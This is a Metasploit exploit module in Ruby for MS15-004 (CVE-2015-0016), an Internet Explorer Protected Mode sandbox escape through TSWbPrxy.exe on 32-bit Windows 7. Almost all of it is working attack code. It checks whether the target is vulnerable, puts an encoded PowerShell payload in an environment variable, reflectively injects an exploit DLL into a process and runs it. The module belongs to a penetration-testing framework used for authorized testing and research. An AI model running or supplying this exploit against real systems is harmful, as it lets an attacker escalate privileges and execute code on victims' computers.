##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::Powershell
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape',
          'Description' => %q{
            This module abuses a process creation policy in Internet Explorer's
            sandbox; specifically, Microsoft's RemoteApp and Desktop Connections runtime
            proxy, TSWbPrxy.exe.  This vulnerability allows the attacker to escape the
            Protected Mode and execute code with Medium Integrity. At the moment, this
            module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This
            module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE
            11.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Unknown', # From Threat Intel of Symantec
            'Henry Li', # Public vulnerability analysis
            'juan vazquez' # Metasploit module
          ],
          'Platform' => 'win',
          'SessionTypes' => ['meterpreter'],
          'Arch' => [ARCH_X86],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread',
            'WfsDelay' => 30
          },
          'Targets' => [
            [
              'Protected Mode (Windows 7) / 32 bits',
              {
                'Arch' => ARCH_X86
              }
            ]
          ],
          'DefaultTarget' => 0,
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'References' => [
            ['CVE', '2015-0016'],
            ['MSB', 'MS15-004'],
            ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/']
          ],
          'DisclosureDate' => '2015-01-13',
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_sys_process_attach
                stdapi_sys_process_thread_create
              ]
            }
          }
        }
      )
    )
  end

  def check
    temp = get_env('WINDIR')
    dll_path = "#{temp}\\System32\\TSWbPrxy.exe"

    version = get_version_info

    unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Server2012_R2)
      return Exploit::CheckCode::Safe
    end

    unless file_exist?(dll_path)
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    print_status('Checking target...')
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NotVulnerable, 'System not vulnerable')
    end

    if session.arch != ARCH_X86
      fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')
    end

    version = get_version_info
    if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81)
      fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')
    end

    print_status('Checking the Process Integrity Level...')

    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, 'Not running at Low Integrity')
    end

    cmd = cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      { remove_comspec: true }
    )

    print_status('Storing payload on environment variable...')
    cmd.gsub!('powershell.exe ', '')
    session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)

    print_status('Exploiting...')

    process = client.sys.process.open
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll')
    print_status("Injecting exploit into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)

    print_status('Payload injected. Executing exploit...')
    process.thread.create(exploit_mem + offset)
  end

  def cleanup
    session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)
    super
  end
end
